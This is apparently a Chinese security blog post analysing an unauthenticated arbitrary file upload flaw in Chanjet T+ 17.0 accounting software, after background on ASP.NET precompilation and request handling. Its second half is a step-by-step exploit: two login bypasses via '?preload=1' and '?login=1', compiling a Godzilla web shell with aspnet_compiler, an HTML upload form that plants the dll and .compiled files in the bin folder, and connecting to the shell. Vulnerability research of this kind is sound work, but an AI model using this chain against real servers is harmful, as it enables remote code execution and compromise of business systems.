7. 畅捷通T+任意文件上传漏洞分析
在19年的时候已经有人分析过用友畅捷通T+《代码审计入门之用友畅捷通T+代码审计》
ASP.NET前置知识
在分析代码之前先了解一下ASP.NET的一些基础知识和关键信息
ASP.NET 支持三种不同的开发模式:
审计ASP.NET站点需要重要关注的文件有Global.asax
与Web.config
:
Global.asax |
Web.config |
Global.asax是一个全局文件,一个ASP.NET的应用程序文件,是从HttpApplication基类派生的类。 响应的是应用程序级别和会话级别事件 ,当需要处理应用程序事件或会话事件时,可建立使用Global.asax文件。 |
Web.config是一个配置文件,是基于XML的文本文件。主要是通过配置相关节点来实现数据库连接以及身份验证等功能。 Web.config文件并不会编译进dll文件中,将来有变化时,可直接用记事本打开Web.config文件进行编辑修改。 |
按执行顺序来解释一下Global.asax.cs
中相应的事件处理方法的含义:
Application_BeginRequest |
BeginRequest是在收到Request时第一个触发的事件,这个方法自然就是第一个执行的了 |
Application_AuthenticateRequest |
当安全模块已经建立了当前用户的标识后执行 |
Application_AuthorizeRequest |
当安全模块已经验证了当前用户的授权时执行 |
Application_ResolveRequestCache |
当ASP.NET完成授权事件以使缓存模块从缓存中为请求提供服务时发生,从而跳过处理程序(页面或者是WebService)的执行。这样做可以改善网站的性能,这个事件还可以用来判断正文是不是从Cache中得到的 |
Application_AcquireRequestState |
当ASP.NET获取当前请求所关联的当前状态(如Session)时执行 |
Application_PreRequestHandlerExecute |
当ASP.Net即将把请求发送到处理程序对象(页面或者是WebService)之前执行。这个时候,Session就可以用了 |
Application_PostRequestHandlerExecute |
当处理程序对象(页面或者是WebService)工作完成之后执行 |
Application_ReleaseRequestState |
在ASP.NET执行完所有请求处理程序后执行。ReleaseRequestState事件将使当前状态数据被保存 |
Application_UpdateRequestCache |
在ASP.NET执行完处理程序后,为了后续的请求而更新响应缓存时执行 |
Application_EndRequest |
同上,EndRequest是在响应Request时最后一个触发的事件,这个方法自然就是最后一个执行的 |
Application_PreSendRequestHeaders |
向客户端发送Http标头之前执行 |
Application_PreSendRequestContent |
向客户端发送Http正文之前执行 |
预编译:
简单的来说,就是在网站发布时将aspx文件进行编译,转换成dll文件。因为.NET程序在运行时会优先加载bin目录下的程序集 即index.aspx -> /bin/index.dll
在用户访问index.aspx时,则直接由index.dll进行处理。而不是index.aspx。一旦进行预编译后,相关程序会被转换为dll存储在bin目录下。这时候,程序的访问路径和相关逻辑,都被封装成了dll。无论根目录下是否存在index.aspx,都可以正常处理特定路由下的功能。
部署时不同文件类型对应的预编译操作和输出位置:
文件类型 |
预编译操作 |
输出位置 |
.aspx、ascx、.master |
生成程序集和一个指向该程序集的.compiled文件。原始文件保留在原位置,作为完成请求的占位符 |
程序集和.compiled文件写入Bin文件夹中。页(去除内容的.aspx文件)保留在其原始位置 |
.asmx、.ashx |
生成程序集。原始文件保留在原位置,作为完成请求的占位符 |
Bin文件夹 |
App_Code文件夹中的文件 |
生成一个或多个程序集(取决于Web.config设置) |
Bin文件夹 |
未包含在App_Code文件夹中的.cs或.vb文件 |
与依赖于这些文件的页或资源一起编译 |
Bin文件夹 |
Bin文件夹中的现有.dll文件 |
按原样复制文件 |
Bin文件夹 |
资源(.resx)文件 |
对于App_LocalResources或App_GlobalResources文件夹中找到的.resx文件,生成一个或多个程序集以及一个区域性结构 |
Bin文件夹 |
App_Themes文件夹及子文件夹中的文件 |
在目标位置生成程序集并生成指向这些程序集的.compiled文件 |
Bin文件夹 |
静态文件(.htm、.html、图形文件等) |
按原样复制文件 |
与源中结构相同 |
浏览器定义文件 |
按原样复制文件 |
App_Browsers |
依赖项目 |
将依赖项目的输出生成到程序集中 |
Bin文件夹 |
Web.config文件 |
按原样复制文件 |
与源中结构相同 |
Global.asax文件 |
编译到程序集中 |
Bin文件夹 |
ASP.NET中获取Request URL的各个部分
此部分转载自《ASP.NET 如何取得 Request URL 的各個部分》
url地址:http://localhost:1897/News/Press/Content.aspx/123?id=1#toc |
|
Request.ApplicationPath |
/ |
Request.PhysicalPath |
D:\Projects\Solution\web\News\Press\Content.aspx |
System.IO.Path.GetDirectoryName(Request.PhysicalPath) |
D:\Projects\Solution\web\News\Press |
Request.PhysicalApplicationPath |
D:\Projects\Solution\web\ |
System.IO.Path.GetFileName(Request.PhysicalPath) |
Content.aspx |
Request.CurrentExecutionFilePath |
/News/Press/Content.aspx |
Request.FilePath |
/News/Press/Content.aspx |
Request.Path |
/News/Press/Content.aspx/123 |
Request.RawUrl |
/News/Press/Content.aspx/123?id=1 |
Request.Url.AbsolutePath |
/News/Press/Content.aspx/123 |
Request.Url.AbsoluteUri |
http://localhost:1897/News/Press/Content.aspx/123?id=1 |
Request.Url.Scheme |
http |
Request.Url.Host |
localhost |
Request.Url.Port |
1897 |
Request.Url.Authority |
localhost:1897 |
Request.Url.LocalPath |
/News/Press/Content.aspx/123 |
Request.PathInfo |
/123 |
Request.Url.PathAndQuery |
/News/Press/Content.aspx/123?id=1 |
Request.Url.Query |
?id=1 |
Request.Url.Fragment |
|
Request.Url.Segments |
/ |
环境搭建
在官网下载17.0版本:https://dad.chanapp.chanjet.com/TplusYZHJ17.0.zip
直接点击安装即可
安装完如下图:
漏洞分析
CNVD-2022-60632是任意文件上传,涉及接口为:/tplus/SM/SetupAccount/Upload.aspx?preload=1
先来看Upload.aspx
文件
发现畅捷通T+整套程序用了预编译,到根目录的/bin下找对应的compiled文件
找对应的编译之后的dll文件:App_Web_upload.aspx.9475d17f.dll
使用反编译工具:ILSPY,dnSpy...
通过上面的代码发现并没有对上传文件的后缀做判断,只校验了Content-Type
是否为图片形式(image/jpeg,image/bmp,image/gif,image/pjpeg),尝试发包
登录校验绕过
此接口做了权限校验,但是在接口代码中并没有发现校验用户身份的地方
看一下引用文件,发现App_global.asax
引用了App_Web_global.asax.cs.cdcab7d2
这个文件
查看编译后的App_Web_global.asax.cs.cdcab7d2.dll
文件
发现Application_PreRequestHandlerExecute
函数中存在身份校验的地方,在前面也说过这个函数在当ASP.Net即将把请求发送到处理程序对象(页面或者是WebService)之前执行(可以理解为java spring框架的过滤/拦截器)
可以看到只要return出去,就可以绕过登陆校验
先来简单分析一下上面红框中的条件是否存在绕过登录校验的可能
1) 特殊字段
bool flag = context.Request.QueryString["preload"] == "1"; text = HttpContext.Current.Request.Url.ToString(); if (flag) { return; }
当请求中参数preload == 1
,就直接return出权限校验函数
/tplus/SM/SetupAccount/Upload.aspx?preload=1
成功绕过身份校验上传成功
2) 白名单绕过
text = HttpContext.Current.Request.Url.ToString();
if (RequestChecker.IsBaseRquest(text))
{
return;
}
跟进IsBaseRquest
方法
获取请求的url,使用indexOf
方法判断login,token,.js,/rest...
第一次在url中出现的位置
之前如果看过我写的《Java框架的权限绕过总结》这篇文章,就会知道在tomcat+spring配合下可以使用白名单穿越的方式来绕过权限校验,也就是 /admin/add == /admin/1.js/../add
,不过那种绕过方式是基于使用getRequestURI()
方法获取处理请求的url,这里也可以尝试一下
失败
不过这里可以使用?
号分割的方式来绕过,因为使用indexof
方法只判断请求的url是否包含这些白名单字段
/tplus/SM/SetupAccount/Upload.aspx?login=1
成功绕过身份校验上传成功
预编译上传木马文件
前面提到畅捷通T+整套程序用了预编译,所以直接上传aspx木马是没有办法解析的
在前台访问会显示编译错误
目前的方法是自己往bin目录里面写一个已编译的aspx文件
可以先使用哥斯拉生成一个木马
然后在本地执行aspnet_compiler.exe
进行编译
C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe -v \ -p C:\Users\ferryman\Desktop\iss -D C:\Users\ferryman\Desktop\123 -p 哥斯拉木马所在的目录 -D 表示要生成的那个目录
执行完毕后,查看C:\Users\ferryman\Desktop\123\bin
目录
把dll,compiled这两个文件上传到bin目录中
创建一个用于文件上传的html文件
<form action="http://192.168.19.132/tplus/SM/SetupAccount/Upload.aspx?preload=1" name="form1" id="form1" method="post" enctype="image/jpeg"> <input name="File1" type="file" id="File1"> <br> <input type="submit" value="上 传"> </form>
上传dll文件
上传compiled文件
看下程序目录是否上传成功
使用哥斯拉链接